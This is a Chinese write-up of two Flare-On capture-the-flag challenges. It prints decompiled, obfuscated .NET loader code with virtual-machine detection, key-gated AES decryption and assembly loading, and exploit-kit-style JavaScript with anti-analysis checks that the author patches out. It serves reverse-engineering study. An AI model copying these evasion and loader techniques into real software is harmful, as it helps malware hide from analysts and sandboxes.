                    array[5] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(1550968058u);
                    arg_39_0 = (num * 297585876u ^ 1374145066u);
                    continue;
                }
                case 5u:
                {
                    string[] array = new string[9];
                    arg_39_0 = (num * 713891861u ^ 505575431u);
                    continue;
                }
                case 6u:
                    goto IL_2F;
                case 7u:
                {
                    string[] array;
                    array[8] = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2500000229u);
                    array2 = array;
                    arg_39_0 = (num * 404629751u ^ 4003272754u);
                    continue;
                }
                case 8u:
                {
                    string[] array;
                    array[6] = <Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(3462063362u);
                    arg_39_0 = (num * 944659686u ^ 795441943u);
                    continue;
                }
                case 9u:
                {
                    string[] array;
                    array[7] = <Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(2273825057u);
                    arg_39_0 = (num * 2903015759u ^ 2716276850u);
                    continue;
                }
                }
                goto Block_1;
            }
        }
        Block_1:
        ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectCollection.GetEnumerator();
        try
        {
            while (true)
            {
                IL_262:
                uint arg_1AC_0 = (!enumerator.MoveNext()) ? 4035020753u : 3623295036u;
                while (true)
                {
                    uint num;
                    switch ((num = (arg_1AC_0 ^ 2413552312u)) % 11u)
                    {
                    case 0u:
                    {
                        int num2;
                        num2++;
                        arg_1AC_0 = 3060273637u;
                        continue;
                    }
                    case 1u:
                    {
                        int num2;
                        string[] array3;
                        arg_1AC_0 = ((num2 < array3.Length) ? 3110028346u : 2946798570u);
                        continue;
                    }
                    case 2u:
                    {
                        ManagementObject managementObject = (ManagementObject)enumerator.Current;
                        string text = (string)managementObject[<Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(3071942643u)];
                        arg_1AC_0 = 3016139492u;
                        continue;
                    }
                    case 3u:
                    {
                        string text;
                        string value;
                        arg_1AC_0 = ((text.Contains(value) ? 2300307047u : 4029176840u) ^ num * 3807182732u);
                        continue;
                    }
                    case 4u:
                        arg_1AC_0 = 3623295036u;
                        continue;
                    case 6u:
                    {
                        int num2 = 0;
                        arg_1AC_0 = (num * 3618253266u ^ 3718838043u);
                        continue;
                    }
                    case 7u:
                    {
                        int num2;
                        string[] array3;
                        string value = array3[num2];
                        arg_1AC_0 = 3316693056u;
                        continue;
                    }
                    case 8u:
                        goto IL_262;
                    case 9u:
                    {
                        string text = text.ToLower();
                        string[] array3 = array2;
                        arg_1AC_0 = (num * 4045000684u ^ 1184628303u);
                        continue;
                    }
                    case 10u:
                        result = true;
                        arg_1AC_0 = (num * 2077563369u ^ 3861696063u);
                        continue;
                    }
                    goto Block_4;
                }
            }
            Block_4:;
        }
        finally
        {
            if (enumerator != null)
            {
                while (true)
                {
                    IL_2EA:
                    uint arg_2F4_0 = 3956176503u;
                    while (true)
                    {
                        uint num;
                        switch ((num = (arg_2F4_0 ^ 2413552312u)) % 3u)
                        {
                        case 0u:
                            goto IL_2EA;
                        case 2u:
                            ((IDisposable)enumerator).Dispose();
                            arg_2F4_0 = (num * 2800442345u ^ 1450629006u);
                            continue;
                        }
                        goto Block_9;
                    }
                }
                Block_9:;
            }
        }
        return result;
    }

    public static bool Start(string config)
    {
        if (Layer2.IsVideoCardFromEmulator())
        {
            return false;
        }
        bool result;
        try
        {
            string key = Layer2.getKey();
            byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(3753327011u));
            MethodInfo method;
            object[] array;
            while (true)
            {
                IL_1F:
                uint arg_29_0 = 940752502u;
                while (true)
                {
                    uint num;
                    switch ((num = (arg_29_0 ^ 1520223704u)) % 8u)
                    {
                    case 0u:
                        goto IL_1F;
                    case 1u:
                    {
                        Assembly assembly;
                        Type type = assembly.GetType(<Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(4061409225u));
                        arg_29_0 = (num * 4242975297u ^ 1282056291u);
                        continue;
                    }
                    case 2u:
                    {
                        Type type;
                        method = type.GetMethod(<Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(2617334851u));
                        array = new object[1];
                        arg_29_0 = (num * 1579163950u ^ 3648286203u);
                        continue;
                    }
                    case 3u:
                    {
                        byte[] rawAssembly;
                        Assembly assembly = Assembly.Load(rawAssembly);
                        arg_29_0 = (num * 1590382241u ^ 2941013770u);
                        continue;
                    }
                    case 4u:
                    {
                        byte[] buffer;
                        byte[] rawAssembly = util.DecompressBuffer(buffer);
                        arg_29_0 = (num * 92554542u ^ 2808918491u);
                        continue;
                    }
                    case 6u:
                    {
                        byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
                        arg_29_0 = (num * 4054600647u ^ 1312138318u);
                        continue;
                    }
                    case 7u:
                        array[0] = <Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(927985914u);
                        arg_29_0 = (num * 2757215955u ^ 2775083800u);
                        continue;
                    }
                    goto Block_3;
                }
            }
            Block_3:
            bool flag = (bool)method.Invoke(null, array);
            result = flag;
        }
        catch (Exception)
        {
            while (true)
            {
                IL_13A:
                uint arg_144_0 = 1603173826u;
                while (true)
                {
                    uint num;
                    switch ((num = (arg_144_0 ^ 1520223704u)) % 3u)
                    {
                    case 0u:
                        goto IL_13A;
                    case 2u:
                        result = false;
                        arg_144_0 = (num * 1446448774u ^ 4267266598u);
                        continue;
                    }
                    goto Block_4;
                }
            }
            Block_4:;
        }
        return result;
    }
}

透過動態分析還是可以快速看出大致上的行為:

  • Layer2.IsVideoCardFromEmulator() 會透過顯示卡檢查是否在虛擬機中
    可以中斷在 IsVideoCardFromEmulator()return 並修改 result 來通過檢查
  • Layer2.getKey() 中,會呼叫 Registry.CurrentUser.GetSubKeyNames() 並同樣以 md5 + base64 判斷是否有 sub key 的名稱為 secret,並回傳 key: flare-secret

HKEY_CURRENT_USER 下新增一個名為 secret 的機碼即可符合條件

然而在沒有符合條件的情況下執行 Layer2.getKey() 後可以從區域變數中得到第三組 share:
Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294

  • 最後程式會以 AES 解密並載入下一層的 dll,以同樣的方式繼續跟進

Layer3.dll

一樣步過第一個初始化函數後 Reaload Method Bodies ,中斷在 Layer3.Start()

public class Layer3
{
    // Token: 0x06000040 RID: 64 RVA: 0x0000FBC8 File Offset: 0x0000DFC8
    public static string getKey()
    {
        SelectQuery query = new SelectQuery(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2945095396u));
        ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(query);
        ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator();
        try
        {
            string result;
            while (true)
            {
                IL_108:
                uint arg_33_0 = (!enumerator.MoveNext()) ? 3879835726u : 2651603684u;
                while (true)
                {
                    uint num;
                    switch ((num = (arg_33_0 ^ 3495535212u)) % 10u)
                    {
                    case 0u:
                    {
                        string text;
                        arg_33_0 = (((text.CompareTo(StringUtils.a66) == 0) ? 206694793u : 1391732593u) ^ num * 2790437578u);
                        continue;
                    }
                    case 1u:
                    {
                        MD5 mD;
                        byte[] bytes;
                        byte[] inArray = mD.ComputeHash(bytes);
                        arg_33_0 = (num * 3633414537u ^ 2117330041u);
                        continue;
                    }
                    case 2u:
                        arg_33_0 = 2651603684u;
                        continue;
                    case 3u:
                        goto IL_108;
                    case 4u:
                    {
                        byte[] inArray;
                        string text = Convert.ToBase64String(inArray);
                        arg_33_0 = (num * 3905099304u ^ 3227076034u);
                        continue;
                    }
                    case 5u:
                    {
                        string text2;
                        result = <Module>.\u206F\u202C\u206D\u206F\u206E\u202C\u200D\u206F\u202A\u200F\u200E\u202D\u202B\u206B\u200F\u202E\u200D\u206E\u206E\u200C\u200D\u200B\u206A\u206B\u206D\u202C\u206C\u206F\u206A\u206F\u200C\u202B\u206A\u202D\u200D\u202A\u202D\u200F\u200B\u206C\u202E<string>(3257699721u) + text2;
                        arg_33_0 = (num * 229438980u ^ 2250473547u);
                        continue;
                    }
                    case 7u:
                        goto IL_6C;
                    case 8u:
                    {
                        ManagementObject managementObject = (ManagementObject)enumerator.Current;
                        string text2 = (string)managementObject[<Module>.\u206C\u202D\u206F\u202B\u206E\u200D\u202A\u202C\u206C\u200B\u202E\u206F\u200F\u200F\u202D\u202A\u206F\u202A\u206A\u202D\u206A\u202C\u202D\u206D\u206D\u206E\u206B\u206D\u202E\u206E\u200B\u206B\u200E\u202B\u202B\u206D\u202C\u206C\u202E\u202E<string>(3483153269u)];
                        arg_33_0 = 3508415771u;
                        continue;
                    }
                    case 9u:
                    {
                        MD5 mD = MD5.Create();
                        string text2;
                        byte[] bytes = Encoding.UTF8.GetBytes(text2);
                        arg_33_0 = (num * 259472154u ^ 2673059115u);
                        continue;
                    }
                    }
                    goto Block_3;
                }
            }
            Block_3:
            goto IL_179;
            IL_6C:
            return result;
            IL_179:;
        }
        finally
        {
            if (enumerator != null)
            {
                while (true)
                {
                    IL_17F:
                    uint arg_189_0 = 4269206364u;
                    while (true)
                    {
                        uint num;
                        switch ((num = (arg_189_0 ^ 3495535212u)) % 3u)
                        {
                        case 0u:
                            goto IL_17F;
                        case 1u:
                            ((IDisposable)enumerator).Dispose();
                            arg_189_0 = (num * 2689088499u ^ 3887649818u);
                            continue;
                        }
                        goto Block_7;
                    }
                }
                Block_7:;
            }
        }
        return <Module>.\u206E\u200C\u200F\u206E\u202D\u200F\u200D\u206F\u202C\u206F\u200C\u206B\u202A\u200C\u202A\u206D\u200C\u206F\u202A\u202E\u200E\u206F\u200F\u206D\u202C\u200F\u206E\u202B\u202D\u202D\u206C\u200D\u202E\u206E\u202C\u206F\u202D\u206A\u202D\u202A\u202E<string>(3855791546u);
    }

    public static bool Start(string config)
    {
        try
        {
            string key = Layer3.getKey();
            while (true)
            {
                IL_06:
                uint arg_10_0 = 4289824873u;
                while (true)
                {
                    uint num;
                    switch ((num = (arg_10_0 ^ 3707440169u)) % 9u)
                    {
                    case 0u:
                        goto IL_06;
                    case 1u:
                    {
                        byte[] bytesToBeDecrypted;
                        byte[] bytes = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
                        arg_10_0 = (num * 661416811u ^ 2039414464u);
                        continue;
                    }
                    case 2u:
                    {
                        byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u206C\u202D\u206F\u202B\u206E\u200D\u202A\u202C\u206C\u200B\u202E\u206F\u200F\u200F\u202D\u202A\u206F\u202A\u206A\u202D\u206A\u202C\u202D\u206D\u206D\u206E\u206B\u206D\u202E\u206E\u200B\u206B\u200E\u202B\u202B\u206D\u202C\u206C\u202E\u202E<string>(2921636399u));
                        arg_10_0 = (num * 3538037274u ^ 2949823500u);
                        continue;
                    }
                    case 4u:
                    {
                        byte[] bytes2;
                        File.WriteAllBytes(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2663114732u), bytes2);
                        ProcessStartInfo processStartInfo = new ProcessStartInfo(<Module>.\u206E\u200C\u206E\u202E\u206E\u206E\u206C\u202A\u200E\u206D\u202E\u206E\u206B\u206D\u202B\u202E\u200F\u200C\u202D\u202B\u206D\u202A\u200B\u202D\u200C\u200E\u206F\u206B\u206E\u202E\u202B\u206B\u200E\u202C\u200C\u206C\u202E\u200C\u206F\u202D\u202E<string>(1143424475u));
                        arg_10_0 = (num * 1327553900u ^ 1386100579u);
                        continue;
                    }
                    case 5u:
                    {
                        byte[] bytes;
                        File.WriteAllBytes(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2505810066u), bytes);
                        arg_10_0 = (num * 3787366363u ^ 40351029u);
                        continue;
                    }
                    case 6u:
                    {
                        ProcessStartInfo processStartInfo;
                        Process.Start(processStartInfo);
                        arg_10_0 = (num * 284573691u ^ 2598046760u);
                        continue;
                    }
                    case 7u:
                    {
                        ProcessStartInfo processStartInfo;
                        processStartInfo.Verb = <Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(3666361390u);
                        arg_10_0 = (num * 183203051u ^ 3338640763u);
                        continue;
                    }
                    case 8u:
                    {
                        byte[] bytes2 = util.ReadResource(<Module>.\u206E\u200C\u200F\u206E\u202D\u200F\u200D\u206F\u202C\u206F\u200C\u206B\u202A\u200C\u202A\u206D\u200C\u206F\u202A\u202E\u200E\u206F\u200F\u206D\u202C\u200F\u206E\u202B\u202D\u202D\u206C\u200D\u202E\u206E\u202C\u206F\u202D\u206A\u202D\u202A\u202E<string>(4245356310u));
                        arg_10_0 = (num * 748758343u ^ 2498904875u);
                        continue;
                    }
                    }
                    goto Block_2;
                }
            }
            Block_2:;
        }
        catch (Exception)
        {
            return false;
        }
        return true;
    }
}
  • Layer3.getKey() 中會用 md5 + base64 檢查是否有名為 shamir 的 user 存在,符合條件後回傳 key: flare-shamir

接著以 AES 解密並輸出出一個執行檔 ssss-combine.exe

之後會顯示一張圖片,內容為第 6 組 Share:
Share:6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a

最後彈出訊息 Thanks for playing!

combine

執行 ssss-combine.exe 後可以知道是用來解 Shamir Secret Sharing

Shamir Secret Sharing Scheme-  $Id$
Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com

Combine shares using Shamir's Secret Sharing Scheme.

ssss-combine -t threshold [-x] [-q] [-Q] [-D]

照前面得到的序號編號看來,我們需要 6 組 share 序號
分析過程中得到了 1, 2, 3, 6
而剩下的 4, 5 可以從 process 中 dump 出來,中斷在程式結束之前,掃描 process memory 後得到:

Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd
Share:5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3

最後使用 ssss-combine.exe 解出 Flag:

> ssss-combine.exe -t 6
Shamir Secret Sharing Scheme - $Id$
Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com
Enter 6 shares separated by newlines:
Share [1/6]: 1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64 
Share [2/6]: 2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3 
Share [3/6]: 3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 
Share [4/6]: 4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd 
Share [5/6]: 5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3 
Share [6/6]: 6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a 
Resulting secret: Shamir_1s_C0nfused@flare-on.com

Challenge 10: FLAVA

只給了一個 flave.pcap

透過 wireshark 可以觀察出是在瀏覽一些跟 Pokemon Go 有關的網站:
lessons_you_will_learn_from_pokemon_go.html
where_to_catch_eevee.html

SWF

其中一個比較可疑的 request 是
GET /will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh

將檔案 dump 出來,發現是一個 swf 檔:

$ file will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh
will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh: Macromedia Flash data (compressed), version 14

提示需要輸入 Key:

image alt

使用 JPEXS Flash Decompiler 分析:

public static function pr0udB3lly(param1:ByteArray, param2:String) : ByteArray
{
 var loc5:* = undefined;
 var loc3:ByteArray = new ByteArray();
 var loc4:ByteArray = new ByteArray();
 loc3.writeBytes(param1,16,param1.length - 16);
 loc4.writeUTFBytes(param2);
 loc4.writeBytes(param1,0,16);
 loc5 = MD5.hashBytes(loc4);
 var loc6:* = 0;
 var loc7:* = 0;
 var loc8:* = 0;
 var loc9:ByteArray = new ByteArray();
 var loc10:uint = 0;
 var loc11:ByteArray = new ByteArray();
 loc7 = uint(0);
 while(loc7 < 256)
 {
    loc9[loc7] = loc7;
    loc7++;
 }
 loc7 = uint(0);
 while(loc7 < 256)
 {
    loc10 = loc10 + loc9[loc7] + loc5.charCodeAt(loc7 % loc5.length) & 255;
    loc6 = uint(loc9[loc7]);
    loc9[loc7] = loc9[loc10];
    loc9[loc10] = loc6;
    loc7++;
 }
 loc7 = uint(0);
 loc10 = 0;
 loc8 = uint(0);
 while(loc8 < loc3.length)
 {
    loc7 = uint(loc7 + 1 & 255);
    loc10 = loc10 + loc9[loc7] & 255;
    loc6 = uint(loc9[loc7]);
    loc9[loc7] = loc9[loc10];
    loc9[loc10] = loc6;
    loc11[loc8] = loc3[loc8] ^ loc9[loc9[loc7] + loc9[loc10] & 255];
    loc8++;
 }
 return loc11;
}

public function d3cryp7AndL0ad(param1:String) : void
{
 var loc2:Loader = new Loader();
 var loc3:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain,null);
 var loc4:Class = Run_challenge1;
 var loc5:ByteArray = pr0udB3lly(ByteArray(new loc4()),param1);
 var loc6:String = "1172ca0ede560b08d97b270400347ede";
 if(MD5.hashBytes(loc5) == loc6)
 {
    this.loaded = true;
    loc2.loadBytes(loc5);
 }
}

程式會將 binary 資料用我們給的 key 做 RC4 解密出另一個 swf 後,判斷檔案 md5 為 1172ca0ede560b08d97b270400347ede,再載入執行

看起來沒有 RC4 Key 就無法繼續下去

Obfuscated Javascript

再回頭分析 pcap,發現在取得 swf 的 request 之前載入了一個奇怪的頁面:

133 行處發現看起來被混淆的 javascript:

先透過 jsbeautifier 將它變得好看一點之後,發現還是被高度混淆,只好開始非常痛苦的手動慢慢還原:

var nRXXcuUgLQVUBh;
var PNfNaU, kCfh, BoXo, gFVaUK, eseHzcGkAGiM;
var current_time = new Date();

var IjyDLAKpitvfE;
var AYKbsHqKVlYHn, UKhPqdhzo = true;

var FiAwn = 1;
var date = new Date('2016/09/09');

var TYg = 'ABCDEFGHIJKLMNOPQRST';
var LHsfd76 = 'UVWXYZabcdefghijklmnopqrstuv', Ndfrf = 'wxyz0123456789+/=';
kCfh = 'join';
var LiZAqJ = 0;

AYKbsHqKVlYHn = (
function() {
    var js_code, html;
    if (window['d'] == "" || window['BoXo']) {
        wutdorw.scroll = doRsw.alert()
    };
    html = this.document.getElementById('oq6iFsbdiAj').innerHTML;
    html = html.substr(htm.indexOf('>') + 1);
    
    CheckScriptEngine();
    
    js_code = v5Z16(html['replace'](/\s/g, ""), "Tk9SRmhzYUNXWkpvamJtdg==");
    html = null;;
    try {
        if (FiAwn == 1) {
            var U7weQ = new Function(js_code);
            console.log(U7weQ);
            U7weQ();
            FiAwn = 2
        } else {
            var O0fdFD = new Function(js_code);
            console.log(O0fdFD);
            O0fdFD(js_code)
        }
    } catch (lol) {
    }

});

function ogv(UYfer3) {
    var HG6dq = String, uhod = 'A' + HG6dq['fromCharCode'](110 + 6), LLrefrwf3 = KrefF34 = TYg, KrefF34 = Ndfrf;
    var Kds7e3HdSf = LHsfd76;
    var erfyT = LLrefrwf3 + Kds7e3HdSf + KrefF34, o = '';
    
    UYfer3 = UYfer3.replace('/[^A-Za-z0-9\+\/\=]/g', '');
    var t = 0, HG6dq = HG6dq['fromCharCode'];

    while (t < UYfer3.length) {
        var efdmsf =
            erfyT.indexOf(UYfer3['char' + uhod](t++)),
            kjnre = erfyT.indexOf(UYfer3['char' +
                uhod](t++)),
            LHregfbg = erfyT.indexOf(UYfer3['char' + uhod](t++)),
            I9dsfd = erfyT.indexOf(UYfer3['char' + uhod](t++));
        var lmsfd = (efdmsf << 2) | (kjnre >> 4),
            M39fd = ((kjnre & 0xf) << 4) | (LHregfbg >> 2),
            R3kdns = ((LHregfbg & 3) << 6) | I9dsfd;
        o += HG6dq(lmsfd);

        if (LHregfbg != (60 + 4)) o += HG6dq(M39fd);
        if (I9dsfd != (8 * 8)) o += HG6dq(R3kdns);
    }
    var oa = new Array();
    
    for (var y = 0; y < o.length; y++) oa[y] = o[y].charCodeAt(0);
    return oa;
}

function CheckDate() {
   return true; // patch 
    if (current_time < date) {
        return true;
    } else {
        return false;
    }
}

function CheckScriptEngine() {
    var utaNfs = LiZAqJ;
    try {
        if (window.ScriptEngineBuildVersion() === 545) {
            utaNfs = 0;
        } else {
            utaNfs = 2;
        }
    } catch (e) {
        utaNfs = 4;
    }
    
    utaNfs = 0;// patch
    LiZAqJ = utaNfs;
}

function b64decode(sFE) {
  ...
}

function v5Z16(Fu, ya4o) {
    R$FBC = new Array();
    var DM7w7I = LiZAqJ;
    
    JoJH = String.fromCharCode;
    if (!DM7w7I) {
        if (window && (!window.outerWidth || window.outerWidth < 1280)) {
            DM7w7I = 1;
        } else {
            var IhUgy = new Date();
            DM7w7I = (IhUgy - current_time > 100) ?  3 : 0
            DM7w7I = 0; // patch
        }
    }
    var fC5Z = ogv(Fu);
    var S7z = b64decode(ya4o);
    for (var i = 0; i < fC5Z.length; i++) {
        var bvp1u = fC5Z[i];
        if (S7z.length < 0) {
            bvp1u = 1
        }
        if (S7z.length > 0) 
            bvp1u ^= S7z[DM7w7I];
        if (!CheckDate()) {
            (DM7w7I++) % 7
        };
        R$FBC[i] = bvp1u
    }
    var msl = R$FBC['length'], qXgdUv = "";
    for (var Jk = 0; Jk < msl; Jk++) {
        var S7z = R$FBC[Jk];
        qXgdUv += JoJH(S7z)
    }
    return qXgdUv;
};

var sTAOtHoXuO;
var VoxpI;
var fBtpJkk = "";
window['AYKbsHqKVlYHn']()

script 中會做一些檢查:

  • ScriptEngineBuildVersion() 返回值必須是 545
  • 目前時間小於 2016/09/09
  • window.outerWidth 要 >= 1280
  • 執行時間 < 100ms

最後以 base64 及 xor decode 得到另一組 javascript 執行

我們可以直接 patch 掉檢查後 dump 出執行的 code

Obfuscated Javascript - 2

一樣又是混淆過的 javscript,混淆的方式相當惱人,不曉得有沒有什麼實用的工具能快速處理:

var Il1Ib = Math, Il1Ic = String, Il1IIll1a = JSON, Il1IIll1b = XMLHttpRequest; var Il1Ie = ''['lol']('9%E44%BC%1Ap', 90, 9, 97),
Il1If = ''['>_<']('%D0%94%18F%A5%C0', 162, 5, 199),
Il1Ig = ''['OGC']('%B7%5By4%B6%B4w', 199, 33, 147),
Il1Ih = ''['-Q-']('%B7j%16%9E%04%88%E4%3Ej', 199, 17, 225),
Il1I = ''['>_O']('%DB%FCy%7D%E1', 168, 129, 247),
Il1Ii = ''['o3o']('%C4J%13sI%F7%3D', 173, 5, 195),
Il1Ij = ''['Orz']('%D6%E4zP%20%EC', 181, 9, 47),
Il1Ik = ''['Orz']('F%92%1C%D5%DF%02', 52, 65, 191),
Il1Il = ''['^_^']('%3Eq%01%F4%C7G%FB%B7%F34%A2%94', 88, 65, 171), Il1Im = ''['^_^']('%DFu%5C_c', 190, 33, 135),
Il1In = ''['lol']('%FA%5E%1A%F6V%9F', 150, 5, 77),
Il1Io = ''['>_<']('%F9S%F8%AE%BB%11%89q', 141, 65, 111),
Il1Ip = ''['OGC']('%03%F7%B7%B7o%A4%06%D49%03', 96, 9, 63), Il1Iq = ''['O_o']('%C3%BE%10%C3+', 165, 129, 173),
Il1Ir = ''['lol']('%D4%1B%E7M', 167, 33, 235);
var Il1IbbAa = ''['>_O']('%10%8D%81%CE%17%A9y9%5B%F0%3Bx%DE%3FC%EB%85%FD%EE%8A%80%FAy%9D%CC%A11%D4 KH%23%AF6.%84%5D%28%D8%06dg%24%26%E0%E3%8E0s%A8%1F%B1%10%AF%1B%09%03%E3%02%EBR%5C%A 9%13%E5%E3O%3E%BC%E6d%29%C7*3%C1C%A9%FA%13%D2t%B0thY%86O3', 65, 5, 147);
var Il1Ibbss = ''['-,-']('*%F1m%891%82', 89, 33, 11),
Il1Ibbso = 6, Il1Ibbsi = 2, Il1Ibbsn = 10;
var Il1Ibbsa = ''['O_o']('G%02n%1FeB%93%7C%BF%8B%FA%80%F9%AF%1B%C3', 52, 129, 51),
Il1Ibbsb = ''['-Q-']('%9F%23%ABO', 240, 9, 227),
Il1Ibbsc = ''['Orz']('%EE%DB1%E4', 157, 129, 161),
Il1Ibbsd = ''['Orz']('%AFUd4%8D%83%3B%8El%F2%1A%CC%27W%FB%3B%17%8E', 192, 33,
123),
Il1Ibbse = ''['^_^']('%08%C0%F1_%DF%82%C8%06%A6%98', 122, 65, 171), Il1Ibbsf = ''['O_o']('1%FDi%0B%DB%26', 66, 9, 55),
Il1Ibbsg = ''['-,-']('lTC%3B%ED%A3%7C%10%9E', 31, 17, 17), Il1Ibbsh = ''['>_<']('G%E1%7B%A1%BE', 55, 65, 137),
Il1Ibbsl = escape,
Il1Ibbsj = unescape,
Il1Ibbsk = ''['o3o']('%09mFr%00%12Z%137%95e%9E', 123, 33, 45), Il1Ibbsp = ''['o3o']('s%DD%A2%14', 35, 17, 63),
Il1Ibbst = false;

用類似的方式痛苦的還原:

function js2() {
    String.prototype.kek = function(a, b, c, d) {
        var e = '';
        a = unescape(a);
        for (var f = 0; f < a.length; f++) {
            var g = b ^ a.charCodeAt(f);
            e += String.fromCharCode(g);
            b = (b * c + d) & 0xFF;
        }
        log(e);
        return e;
    }
    String.prototype.ggg = function() {
        return 'flareon_is_so_cute';
    }
    String.prototype.hhh = function() {
        return 'how_can_you_not_like_flareon';
    };

    m();
    var a = l();
    var b = Function(a);
    b();
}
js2();

function m() {
    window.notIE = false;
    window.keyboardPlugin = false;
    window.table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    window.table2 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/=';
    window.base64_table = window.table2;
}

function j() {
    var blah;
    var a = navigator;
    if(a.userAgent.indexOf('MSIE') == -1 && a.appVersion.indexOf('Trident/') == -1) {
        window.notIE = true;
    }
    window.notIE = false; // patch

    var d = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi',
    e = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1',
    f = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.4_5_0.1';

    try {
        blah = new ActiveXObject(d);
    } catch(w) {
        blah = false;
        try {
            blah = new ActiveXObject(e);
        } catch(w) {
            blah = false;
            try {
                blah = new ActiveXObject(f);
            } catch(w) {
